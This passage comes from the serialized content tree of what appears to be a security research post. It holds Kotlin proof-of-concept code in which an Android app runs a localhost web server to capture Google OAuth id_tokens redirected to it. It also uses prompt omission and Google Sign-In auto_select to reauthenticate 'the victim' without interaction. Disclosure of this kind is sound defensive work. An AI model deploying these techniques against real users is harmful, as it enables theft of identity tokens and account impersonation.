server:",{"type":25,"tag":206,"props":104084,"children":104088},{"className":104085,"code":104086,"language":104087,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[104089],{"type":25,"tag":82,"props":104090,"children":104091},{"__ignoreMap":7},[104092,104121,104140,104147,104154,104173,104184,104195,104226,104249,104296,104303,104310,104317,104324,104344,104375,104386,104393,104400,104419,104442,104453,104472,104487,104498,104521,104556,104575,104582,104593,104616,104627,104639,104646,104653,104660,104667,104674,104701],{"type":25,"tag":216,"props":104093,"children":104094},{"class":6916,"line":6917},[104095,104100,104104,104108,104112,104116],{"type":25,"tag":216,"props":104096,"children":104097},{"style":6930},[104098],{"type":31,"value":104099}," override",{"type":25,"tag":216,"props":104101,"children":104102},{"style":6930},[104103],{"type":31,"value":10152},{"type":25,"tag":216,"props":104105,"children":104106},{"style":7041},[104107],{"type":31,"value":74417},{"type":25,"tag":216,"props":104109,"children":104110},{"style":6958},[104111],{"type":31,"value":74422},{"type":25,"tag":216,"props":104113,"children":104114},{"style":7369},[104115],{"type":31,"value":74427},{"type":25,"tag":216,"props":104117,"children":104118},{"style":6958},[104119],{"type":31,"value":104120},"?){\n",{"type":25,"tag":216,"props":104122,"children":104123},{"class":6916,"line":6763},[104124,104128,104132,104136],{"type":25,"tag":216,"props":104125,"children":104126},{"style":6930},[104127],{"type":31,"value":74440},{"type":25,"tag":216,"props":104129,"children":104130},{"style":6958},[104131],{"type":31,"value":179},{"type":25,"tag":216,"props":104133,"children":104134},{"style":7041},[104135],{"type":31,"value":74449},{"type":25,"tag":216,"props":104137,"children":104138},{"style":6958},[104139],{"type":31,"value":74454},{"type":25,"tag":216,"props":104141,"children":104142},{"class":6916,"line":6772},[104143],{"type":25,"tag":216,"props":104144,"children":104145},{"emptyLinePlaceholder":16},[104146],{"type":31,"value":7636},{"type":25,"tag":216,"props":104148,"children":104149},{"class":6916,"line":6999},[104150],{"type":25,"tag":216,"props":104151,"children":104152},{"style":6921},[104153],{"type":31,"value":74469},{"type":25,"tag":216,"props":104155,"children":104156},{"class":6916,"line":7104},[104157,104161,104165,104169],{"type":25,"tag":216,"props":104158,"children":104159},{"style":7041},[104160],{"type":31,"value":74477},{"type":25,"tag":216,"props":104162,"children":104163},{"style":6958},[104164],{"type":31,"value":74482},{"type":25,"tag":216,"props":104166,"children":104167},{"style":7041},[104168],{"type":31,"value":74487},{"type":25,"tag":216,"props":104170,"children":104171},{"style":6958},[104172],{"type":31,"value":7235},{"type":25,"tag":216,"props":104174,"children":104175},{"class":6916,"line":7210},[104176,104180],{"type":25,"tag":216,"props":104177,"children":104178},{"style":6967},[104179],{"type":31,"value":74499},{"type":25,"tag":216,"props":104181,"children":104182},{"style":6958},[104183],{"type":31,"value":7235},{"type":25,"tag":216,"props":104185,"children":104186},{"class":6916,"line":7238},[104187,104191],{"type":25,"tag":216,"props":104188,"children":104189},{"style":7041},[104190],{"type":31,"value":74511},{"type":25,"tag":216,"props":104192,"children":104193},{"style":6958},[104194],{"type":31,"value":11681},{"type":25,"tag":216,"props":104196,"children":104197},{"class":6916,"line":7251},[104198,104202,104206,104210,104214,104218,104222],{"type":25,"tag":216,"props":104199,"children":104200},{"style":6958},[104201],{"type":31,"value":74523},{"type":25,"tag":216,"props":104203,"children":104204},{"style":7041},[104205],{"type":31,"value":74528},{"type":25,"tag":216,"props":104207,"children":104208},{"style":6958},[104209],{"type":31,"value":1844},{"type":25,"tag":216,"props":104211,"children":104212},{"style":8199},[104213],{"type":31,"value":74537},{"type":25,"tag":216,"props":104215,"children":104216},{"style":6958},[104217],{"type":31,"value":7020},{"type":25,"tag":216,"props":104219,"children":104220},{"style":8199},[104221],{"type":31,"value":74546},{"type":25,"tag":216,"props":104223,"children":104224},{"style":6958},[104225],{"type":31,"value":7101},{"type":25,"tag":216,"props":104227,"children":104228},{"class":6916,"line":7269},[104229,104233,104237,104241,104245],{"type":25,"tag":216,"props":104230,"children":104231},{"style":6958},[104232],{"type":31,"value":74558},{"type":25,"tag":216,"props":104234,"children":104235},{"style":6930},[104236],{"type":31,"value":52374},{"type":25,"tag":216,"props":104238,"children":104239},{"style":6958},[104240],{"type":31,"value":74567},{"type":25,"tag":216,"props":104242,"children":104243},{"style":7369},[104244],{"type":31,"value":74572},{"type":25,"tag":216,"props":104246,"children":104247},{"style":6958},[104248],{"type":31,"value":18755},{"type":25,"tag":216,"props":104250,"children":104251},{"class":6916,"line":7290},[104252,104256,104260,104264,104268,104272,104276,104280,104284,104288,104292],{"type":25,"tag":216,"props":104253,"children":104254},{"style":6958},[104255],{"type":31,"value":74523},{"type":25,"tag":216,"props":104257,"children":104258},{"style":7041},[104259],{"type":31,"value":2393},{"type":25,"tag":216,"props":104261,"children":104262},{"style":6958},[104263],{"type":31,"value":1844},{"type":25,"tag":216,"props":104265,"children":104266},{"style":8199},[104267],{"type":31,"value":74537},{"type":25,"tag":216,"props":104269,"children":104270},{"style":6958},[104271],{"type":31,"value":7020},{"type":25,"tag":216,"props":104273,"children":104274},{"style":8199},[104275],{"type":31,"value":74604},{"type":25,"tag":216,"props":104277,"children":104278},{"style":6930},[104279],{"type":31,"value":38065},{"type":25,"tag":216,"props":104281,"children":104282},{"style":6947},[104283],{"type":31,"value":74613},{"type":25,"tag":216,"props":104285,"children":104286},{"style":6930},[104287],{"type":31,"value":38097},{"type":25,"tag":216,"props":104289,"children":104290},{"style":8199},[104291],{"type":31,"value":24014},{"type":25,"tag":216,"props":104293,"children":104294},{"style":6958},[104295],{"type":31,"value":74626},{"type":25,"tag":216,"props":104297,"children":104298},{"class":6916,"line":7299},[104299],{"type":25,"tag":216,"props":104300,"children":104301},{"style":6958},[104302],{"type":31,"value":62846},{"type":25,"tag":216,"props":104304,"children":104305},{"class":6916,"line":7551},[104306],{"type":25,"tag":216,"props":104307,"children":104308},{"style":6958},[104309],{"type":31,"value":7296},{"type":25,"tag":216,"props":104311,"children":104312},{"class":6916,"line":7568},[104313],{"type":25,"tag":216,"props":104314,"children":104315},{"emptyLinePlaceholder":16},[104316],{"type":31,"value":7636},{"type":25,"tag":216,"props":104318,"children":104319},{"class":6916,"line":7585},[104320],{"type":25,"tag":216,"props":104321,"children":104322},{"style":6921},[104323],{"type":31,"value":74655},{"type":25,"tag":216,"props":104325,"children":104326},{"class":6916,"line":7598},[104327,104331,104335,104339],{"type":25,"tag":216,"props":104328,"children":104329},{"style":6930},[104330],{"type":31,"value":74663},{"type":25,"tag":216,"props":104332,"children":104333},{"style":6958},[104334],{"type":31,"value":74668},{"type":25,"tag":216,"props":104336,"children":104337},{"style":6947},[104338],{"type":31,"value":266},{"type":25,"tag":216,"props":104340,"children":104341},{"style":8199},[104342],{"type":31,"value":104343}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":25,"tag":216,"props":104345,"children":104346},{"class":6916,"line":7607},[104347,104351,104355,104359,104363,104367,104371],{"type":25,"tag":216,"props":104348,"children":104349},{"style":6930},[104350],{"type":31,"value":74663},{"type":25,"tag":216,"props":104352,"children":104353},{"style":6958},[104354],{"type":31,"value":74689},{"type":25,"tag":216,"props":104356,"children":104357},{"style":6947},[104358],{"type":31,"value":266},{"type":25,"tag":216,"props":104360,"children":104361},{"style":7041},[104362],{"type":31,"value":74698},{"type":25,"tag":216,"props":104364,"children":104365},{"style":6958},[104366],{"type":31,"value":74703},{"type":25,"tag":216,"props":104368,"children":104369},{"style":7041},[104370],{"type":31,"value":43169},{"type":25,"tag":216,"props":104372,"children":104373},{"style":6958},[104374],{"type":31,"value":74712},{"type":25,"tag":216,"props":104376,"children":104377},{"class":6916,"line":7630},[104378,104382],{"type":25,"tag":216,"props":104379,"children":104380},{"style":7041},[104381],{"type":31,"value":74720},{"type":25,"tag":216,"props":104383,"children":104384},{"style":6958},[104385],{"type":31,"value":74725},{"type":25,"tag":216,"props":104387,"children":104388},{"class":6916,"line":7639},[104389],{"type":25,"tag":216,"props":104390,"children":104391},{"style":6958},[104392],{"type":31,"value":7305},{"type":25,"tag":216,"props":104394,"children":104395},{"class":6916,"line":7648},[104396],{"type":25,"tag":216,"props":104397,"children":104398},{"emptyLinePlaceholder":16},[104399],{"type":31,"value":7636},{"type":25,"tag":216,"props":104401,"children":104402},{"class":6916,"line":7716},[104403,104407,104411,104415],{"type":25,"tag":216,"props":104404,"children":104405},{"style":6930},[104406],{"type":31,"value":74747},{"type":25,"tag":216,"props":104408,"children":104409},{"style":6930},[104410],{"type":31,"value":10152},{"type":25,"tag":216,"props":104412,"children":104413},{"style":7041},[104414],{"type":31,"value":74756},{"type":25,"tag":216,"props":104416,"children":104417},{"style":6958},[104418],{"type":31,"value":19688},{"type":25,"tag":216,"props":104420,"children":104421},{"class":6916,"line":7724},[104422,104426,104430,104434,104438],{"type":25,"tag":216,"props":104423,"children":104424},{"style":7041},[104425],{"type":31,"value":74768},{"type":25,"tag":216,"props":104427,"children":104428},{"style":6958},[104429],{"type":31,"value":74773},{"type":25,"tag":216,"props":104431,"children":104432},{"style":6947},[104433],{"type":31,"value":266},{"type":25,"tag":216,"props":104435,"children":104436},{"style":6983},[104437],{"type":31,"value":74782},{"type":25,"tag":216,"props":104439,"children":104440},{"style":6958},[104441],{"type":31,"value":18755},{"type":25,"tag":216,"props":104443,"children":104444},{"class":6916,"line":7754},[104445,104449],{"type":25,"tag":216,"props":104446,"children":104447},{"style":7041},[104448],{"type":31,"value":74794},{"type":25,"tag":216,"props":104450,"children":104451},{"style":6958},[104452],{"type":31,"value":7235},{"type":25,"tag":216,"props":104454,"children":104455},{"class":6916,"line":7762},[104456,104460,104464,104468],{"type":25,"tag":216,"props":104457,"children":104458},{"style":6930},[104459],{"type":31,"value":74806},{"type":25,"tag":216,"props":104461,"children":104462},{"style":6958},[104463],{"type":31,"value":1844},{"type":25,"tag":216,"props":104465,"children":104466},{"style":8199},[104467],{"type":31,"value":74815},{"type":25,"tag":216,"props":104469,"children":104470},{"style":6958},[104471],{"type":31,"value":18755},{"type":25,"tag":216,"props":104473,"children":104474},{"class":6916,"line":7794},[104475,104479,104483],{"type":25,"tag":216,"props":104476,"children":104477},{"style":6958},[104478],{"type":31,"value":74827},{"type":25,"tag":216,"props":104480,"children":104481},{"style":7041},[104482],{"type":31,"value":74832},{"type":25,"tag":216,"props":104484,"children":104485},{"style":6958},[104486],{"type":31,"value":7235},{"type":25,"tag":216,"props":104488,"children":104489},{"class":6916,"line":7802},[104490,104494],{"type":25,"tag":216,"props":104491,"children":104492},{"style":7041},[104493],{"type":31,"value":74844},{"type":25,"tag":216,"props":104495,"children":104496},{"style":6958},[104497],{"type":31,"value":7235},{"type":25,"tag":216,"props":104499,"children":104500},{"class":6916,"line":7862},[104501,104505,104509,104513,104517],{"type":25,"tag":216,"props":104502,"children":104503},{"style":7041},[104504],{"type":31,"value":74856},{"type":25,"tag":216,"props":104506,"children":104507},{"style":6958},[104508],{"type":31,"value":74861},{"type":25,"tag":216,"props":104510,"children":104511},{"style":6947},[104512],{"type":31,"value":266},{"type":25,"tag":216,"props":104514,"children":104515},{"style":8199},[104516],{"type":31,"value":74870},{"type":25,"tag":216,"props":104518,"children":104519},{"style":6958},[104520],{"type":31,"value":7101},{"type":25,"tag":216,"props":104522,"children":104523},{"class":6916,"line":12995},[104524,104528,104532,104536,104540,104544,104548,104552],{"type":25,"tag":216,"props":104525,"children":104526},{"style":7041},[104527],{"type":31,"value":74856},{"type":25,"tag":216,"props":104529,"children":104530},{"style":6958},[104531],{"type":31,"value":74886},{"type":25,"tag":216,"props":104533,"children":104534},{"style":6947},[104535],{"type":31,"value":266},{"type":25,"tag":216,"props":104537,"children":104538},{"style":8199},[104539],{"type":31,"value":74895},{"type":25,"tag":216,"props":104541,"children":104542},{"style":6958},[104543],{"type":31,"value":74900},{"type":25,"tag":216,"props":104545,"children":104546},{"style":6947},[104547],{"type":31,"value":266},{"type":25,"tag":216,"props":104549,"children":104550},{"style":8199},[104551],{"type":31,"value":74909},{"type":25,"tag":216,"props":104553,"children":104554},{"style":6958},[104555],{"type":31,"value":7101},{"type":25,"tag":216,"props":104557,"children":104558},{"class":6916,"line":13013},[104559,104563,104567,104571],{"type":25,"tag":216,"props":104560,"children":104561},{"style":7041},[104562],{"type":31,"value":74921},{"type":25,"tag":216,"props":104564,"children":104565},{"style":6958},[104566],{"type":31,"value":1844},{"type":25,"tag":216,"props":104568,"children":104569},{"style":8199},[104570],{"type":31,"value":74930},{"type":25,"tag":216,"props":104572,"children":104573},{"style":6958},[104574],{"type":31,"value":7101},{"type":25,"tag":216,"props":104576,"children":104577},{"class":6916,"line":13058},[104578],{"type":25,"tag":216,"props":104579,"children":104580},{"style":6958},[104581],{"type":31,"value":74942},{"type":25,"tag":216,"props":104583,"children":104584},{"class":6916,"line":13164},[104585,104589],{"type":25,"tag":216,"props":104586,"children":104587},{"style":7041},[104588],{"type":31,"value":74950},{"type":25,"tag":216,"props":104590,"children":104591},{"style":6958},[104592],{"type":31,"value":7235},{"type":25,"tag":216,"props":104594,"children":104595},{"class":6916,"line":27449},[104596,104600,104604,104608,104612],{"type":25,"tag":216,"props":104597,"children":104598},{"style":7041},[104599],{"type":31,"value":74962},{"type":25,"tag":216,"props":104601,"children":104602},{"style":6958},[104603],{"type":31,"value":13536},{"type":25,"tag":216,"props":104605,"children":104606},{"style":6947},[104607],{"type":31,"value":3533},{"type":25,"tag":216,"props":104609,"children":104610},{"style":8199},[104611],{"type":31,"value":74975},{"type":25,"tag":216,"props":104613,"children":104614},{"style":6958},[104615],{"type":31,"value":13546},{"type":25,"tag":216,"props":104617,"children":104618},{"class":6916,"line":27484},[104619,104623],{"type":25,"tag":216,"props":104620,"children":104621},{"style":7041},[104622],{"type":31,"value":74987},{"type":25,"tag":216,"props":104624,"children":104625},{"style":6958},[104626],{"type":31,"value":7235},{"type":25,"tag":216,"props":104628,"children":104629},{"class":6916,"line":27492},[104630,104634],{"type":25,"tag":216,"props":104631,"children":104632},{"style":6947},[104633],{"type":31,"value":74999},{"type":25,"tag":216,"props":104635,"children":104636},{"style":8199},[104637],{"type":31,"value":104638},"\"document.body.innerText = location.hash;\"\n",{"type":25,"tag":216,"props":104640,"children":104641},{"class":6916,"line":27500},[104642],{"type":25,"tag":216,"props":104643,"children":104644},{"style":6958},[104645],{"type":31,"value":75012},{"type":25,"tag":216,"props":104647,"children":104648},{"class":6916,"line":27509},[104649],{"type":25,"tag":216,"props":104650,"children":104651},{"style":6958},[104652],{"type":31,"value":74942},{"type":25,"tag":216,"props":104654,"children":104655},{"class":6916,"line":27551},[104656],{"type":25,"tag":216,"props":104657,"children":104658},{"style":6958},[104659],{"type":31,"value":75027},{"type":25,"tag":216,"props":104661,"children":104662},{"class":6916,"line":27584},[104663],{"type":25,"tag":216,"props":104664,"children":104665},{"style":6958},[104666],{"type":31,"value":75035},{"type":25,"tag":216,"props":104668,"children":104669},{"class":6916,"line":27592},[104670],{"type":25,"tag":216,"props":104671,"children":104672},{"style":6958},[104673],{"type":31,"value":62846},{"type":25,"tag":216,"props":104675,"children":104676},{"class":6916,"line":27600},[104677,104681,104685,104689,104693,104697],{"type":25,"tag":216,"props":104678,"children":104679},{"style":6958},[104680],{"type":31,"value":75050},{"type":25,"tag":216,"props":104682,"children":104683},{"style":7041},[104684],{"type":31,"value":75055},{"type":25,"tag":216,"props":104686,"children":104687},{"style":6958},[104688],{"type":31,"value":75060},{"type":25,"tag":216,"props":104690,"children":104691},{"style":6947},[104692],{"type":31,"value":266},{"type":25,"tag":216,"props":104694,"children":104695},{"style":6930},[104696],{"type":31,"value":16419},{"type":25,"tag":216,"props":104698,"children":104699},{"style":6958},[104700],{"type":31,"value":7101},{"type":25,"tag":216,"props":104702,"children":104703},{"class":6916,"line":27609},[104704],{"type":25,"tag":216,"props":104705,"children":104706},{"style":6958},[104707],{"type":31,"value":7305},{"type":25,"tag":38,"props":104709,"children":104710},{},[104711],{"type":31,"value":104712},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":25,"tag":38,"props":104714,"children":104715},{},[104716,104718,104724],{"type":31,"value":104717},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":25,"tag":82,"props":104719,"children":104721},{"className":104720},[],[104722],{"type":31,"value":104723},"auto_select",{"type":31,"value":104725}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":25,"tag":206,"props":104727,"children":104729},{"className":104085,"code":104728,"language":104087,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[104730],{"type":25,"tag":82,"props":104731,"children":104732},{"__ignoreMap":7},[104733,104760,104779,104786,104805,104816,104827,104858,104881,104928,104935,104942,104949,104989,105000,105007,105014,105033,105056,105067,105086,105101,105112,105132,105143,105160,105186,105210,105217,105228,105240,105253,105261,105269,105276,105283,105291,105299,105307,105315,105323,105331,105339,105346,105353,105361,105369,105377,105384,105391,105399,105406,105427,105435,105442,105449,105460,105484,105496,105513,105520,105527,105535,105543,105551,105579],{"type":25,"tag":216,"props":104734,"children":104735},{"class":6916,"line":6917},[104736,104740,104744,104748,104752,104756],{"type":25,"tag":216,"props":104737,"children":104738},{"style":6930},[104739],{"type":31,"value":74408},{"type":25,"tag":216,"props":104741,"children":104742},{"style":6930},[104743],{"type":31,"value":10152},{"type":25,"tag":216,"props":104745,"children":104746},{"style":7041},[104747],{"type":31,"value":74417},{"type":25,"tag":216,"props":104749,"children":104750},{"style":6958},[104751],{"type":31,"value":74422},{"type":25,"tag":216,"props":104753,"children":104754},{"style":7369},[104755],{"type":31,"value":74427},{"type":25,"tag":216,"props":104757,"children":104758},{"style":6958},[104759],{"type":31,"value":74432},{"type":25,"tag":216,"props":104761,"children":104762},{"class":6916,"line":6763},[104763,104767,104771,104775],{"type":25,"tag":216,"props":104764,"children":104765},{"style":6930},[104766],{"type":31,"value":74440},{"type":25,"tag":216,"props":104768,"children":104769},{"style":6958},[104770],{"type":31,"value":179},{"type":25,"tag":216,"props":104772,"children":104773},{"style":7041},[104774],{"type":31,"value":74449},{"type":25,"tag":216,"props":104776,"children":104777},{"style":6958},[104778],{"type":31,"value":74454},{"type":25,"tag":216,"props":104780,"children":104781},{"class":6916,"line":6772},[104782],{"type":25,"tag":216,"props":104783,"children":104784},{"emptyLinePlaceholder":16},[104785],{"type":31,"value":7636},{"type":25,"tag":216,"props":104787,"children":104788},{"class":6916,"line":6999},[104789,104793,104797,104801],{"type":25,"tag":216,"props":104790,"children":104791},{"style":7041},[104792],{"type":31,"value":74477},{"type":25,"tag":216,"props":104794,"children":104795},{"style":6958},[104796],{"type":31,"value":74482},{"type":25,"tag":216,"props":104798,"children":104799},{"style":7041},[104800],{"type":31,"value":74487},{"type":25,"tag":216,"props":104802,"children":104803},{"style":6958},[104804],{"type":31,"value":7235},{"type":25,"tag":216,"props":104806,"children":104807},{"class":6916,"line":7104},[104808,104812],{"type":25,"tag":216,"props":104809,"children":104810},{"style":6967},[104811],{"type":31,"value":74499},{"type":25,"tag":216,"props":104813,"children":104814},{"style":6958},[104815],{"type":31,"value":7235},{"type":25,"tag":216,"props":104817,"children":104818},{"class":6916,"line":7210},[104819,104823],{"type":25,"tag":216,"props":104820,"children":104821},{"style":7041},[104822],{"type":31,"value":74511},{"type":25,"tag":216,"props":104824,"children":104825},{"style":6958},[104826],{"type":31,"value":11681},{"type":25,"tag":216,"props":104828,"children":104829},{"class":6916,"line":7238},[104830,104834,104838,104842,104846,104850,104854],{"type":25,"tag":216,"props":104831,"children":104832},{"style":6958},[104833],{"type":31,"value":74523},{"type":25,"tag":216,"props":104835,"children":104836},{"style":7041},[104837],{"type":31,"value":74528},{"type":25,"tag":216,"props":104839,"children":104840},{"style":6958},[104841],{"type":31,"value":1844},{"type":25,"tag":216,"props":104843,"children":104844},{"style":8199},[104845],{"type":31,"value":74537},{"type":25,"tag":216,"props":104847,"children":104848},{"style":6958},[104849],{"type":31,"value":7020},{"type":25,"tag":216,"props":104851,"children":104852},{"style":8199},[104853],{"type":31,"value":74546},{"type":25,"tag":216,"props":104855,"children":104856},{"style":6958},[104857],{"type":31,"value":7101},{"type":25,"tag":216,"props":104859,"children":104860},{"class":6916,"line":7251},[104861,104865,104869,104873,104877],{"type":25,"tag":216,"props":104862,"children":104863},{"style":6958},[104864],{"type":31,"value":74558},{"type":25,"tag":216,"props":104866,"children":104867},{"style":6930},[104868],{"type":31,"value":52374},{"type":25,"tag":216,"props":104870,"children":104871},{"style":6958},[104872],{"type":31,"value":74567},{"type":25,"tag":216,"props":104874,"children":104875},{"style":7369},[104876],{"type":31,"value":74572},{"type":25,"tag":216,"props":104878,"children":104879},{"style":6958},[104880],{"type":31,"value":18755},{"type":25,"tag":216,"props":104882,"children":104883},{"class":6916,"line":7269},[104884,104888,104892,104896,104900,104904,104908,104912,104916,104920,104924],{"type":25,"tag":216,"props":104885,"children":104886},{"style":6958},[104887],{"type":31,"value":74523},{"type":25,"tag":216,"props":104889,"children":104890},{"style":7041},[104891],{"type":31,"value":2393},{"type":25,"tag":216,"props":104893,"children":104894},{"style":6958},[104895],{"type":31,"value":1844},{"type":25,"tag":216,"props":104897,"children":104898},{"style":8199},[104899],{"type":31,"value":74537},{"type":25,"tag":216,"props":104901,"children":104902},{"style":6958},[104903],{"type":31,"value":7020},{"type":25,"tag":216,"props":104905,"children":104906},{"style":8199},[104907],{"type":31,"value":74604},{"type":25,"tag":216,"props":104909,"children":104910},{"style":6930},[104911],{"type":31,"value":38065},{"type":25,"tag":216,"props":104913,"children":104914},{"style":6947},[104915],{"type":31,"value":74613},{"type":25,"tag":216,"props":104917,"children":104918},{"style":6930},[104919],{"type":31,"value":38097},{"type":25,"tag":216,"props":104921,"children":104922},{"style":8199},[104923],{"type":31,"value":24014},{"type":25,"tag":216,"props":104925,"children":104926},{"style":6958},[104927],{"type":31,"value":74626},{"type":25,"tag":216,"props":104929,"children":104930},{"class":6916,"line":7290},[104931],{"type":25,"tag":216,"props":104932,"children":104933},{"style":6958},[104934],{"type":31,"value":62846},{"type":25,"tag":216,"props":104936,"children":104937},{"class":6916,"line":7299},[104938],{"type":25,"tag":216,"props":104939,"children":104940},{"style":6958},[104941],{"type":31,"value":7296},{"type":25,"tag":216,"props":104943,"children":104944},{"class":6916,"line":7551},[104945],{"type":25,"tag":216,"props":104946,"children":104947},{"emptyLinePlaceholder":16},[104948],{"type":31,"value":7636},{"type":25,"tag":216,"props":104950,"children":104951},{"class":6916,"line":7568},[104952,104956,104960,104964,104968,104972,104976,104980,104985],{"type":25,"tag":216,"props":104953,"children":104954},{"style":6930},[104955],{"type":31,"value":74663},{"type":25,"tag":216,"props":104957,"children":104958},{"style":6958},[104959],{"type":31,"value":74689},{"type":25,"tag":216,"props":104961,"children":104962},{"style":6947},[104963],{"type":31,"value":266},{"type":25,"tag":216,"props":104965,"children":104966},{"style":7041},[104967],{"type":31,"value":74698},{"type":25,"tag":216,"props":104969,"children":104970},{"style":6958},[104971],{"type":31,"value":74703},{"type":25,"tag":216,"props":104973,"children":104974},{"style":7041},[104975],{"type":31,"value":43169},{"type":25,"tag":216,"props":104977,"children":104978},{"style":6958},[104979],{"type":31,"value":1844},{"type":25,"tag":216,"props":104981,"children":104982},{"style":8199},[104983],{"type":31,"value":104984},"\"http://localhost:3000\"",{"type":25,"tag":216,"props":104986,"children":104987},{"style":6958},[104988],{"type":31,"value":23666},{"type":25,"tag":216,"props":104990,"children":104991},{"class":6916,"line":7585},[104992,104996],{"type":25,"tag":216,"props":104993,"children":104994},{"style":7041},[104995],{"type":31,"value":74720},{"type":25,"tag":216,"props":104997,"children":104998},{"style":6958},[104999],{"type":31,"value":74725},{"type":25,"tag":216,"props":105001,"children":105002},{"class":6916,"line":7598},[105003],{"type":25,"tag":216,"props":105004,"children":105005},{"style":6958},[105006],{"type":31,"value":7305},{"type":25,"tag":216,"props":105008,"children":105009},{"class":6916,"line":7607},[105010],{"type":25,"tag":216,"props":105011,"children":105012},{"emptyLinePlaceholder":16},[105013],{"type":31,"value":7636},{"type":25,"tag":216,"props":105015,"children":105016},{"class":6916,"line":7630},[105017,105021,105025,105029],{"type":25,"tag":216,"props":105018,"children":105019},{"style":6930},[105020],{"type":31,"value":74747},{"type":25,"tag":216,"props":105022,"children":105023},{"style":6930},[105024],{"type":31,"value":10152},{"type":25,"tag":216,"props":105026,"children":105027},{"style":7041},[105028],{"type":31,"value":74756},{"type":25,"tag":216,"props":105030,"children":105031},{"style":6958},[105032],{"type":31,"value":19688},{"type":25,"tag":216,"props":105034,"children":105035},{"class":6916,"line":7639},[105036,105040,105044,105048,105052],{"type":25,"tag":216,"props":105037,"children":105038},{"style":7041},[105039],{"type":31,"value":74768},{"type":25,"tag":216,"props":105041,"children":105042},{"style":6958},[105043],{"type":31,"value":74773},{"type":25,"tag":216,"props":105045,"children":105046},{"style":6947},[105047],{"type":31,"value":266},{"type":25,"tag":216,"props":105049,"children":105050},{"style":6983},[105051],{"type":31,"value":74782},{"type":25,"tag":216,"props":105053,"children":105054},{"style":6958},[105055],{"type":31,"value":18755},{"type":25,"tag":216,"props":105057,"children":105058},{"class":6916,"line":7648},[105059,105063],{"type":25,"tag":216,"props":105060,"children":105061},{"style":7041},[105062],{"type":31,"value":74794},{"type":25,"tag":216,"props":105064,"children":105065},{"style":6958},[105066],{"type":31,"value":7235},{"type":25,"tag":216,"props":105068,"children":105069},{"class":6916,"line":7716},[105070,105074,105078,105082],{"type":25,"tag":216,"props":105071,"children":105072},{"style":6930},[105073],{"type":31,"value":74806},{"type":25,"tag":216,"props":105075,"children":105076},{"style":6958},[105077],{"type":31,"value":1844},{"type":25,"tag":216,"props":105079,"children":105080},{"style":8199},[105081],{"type":31,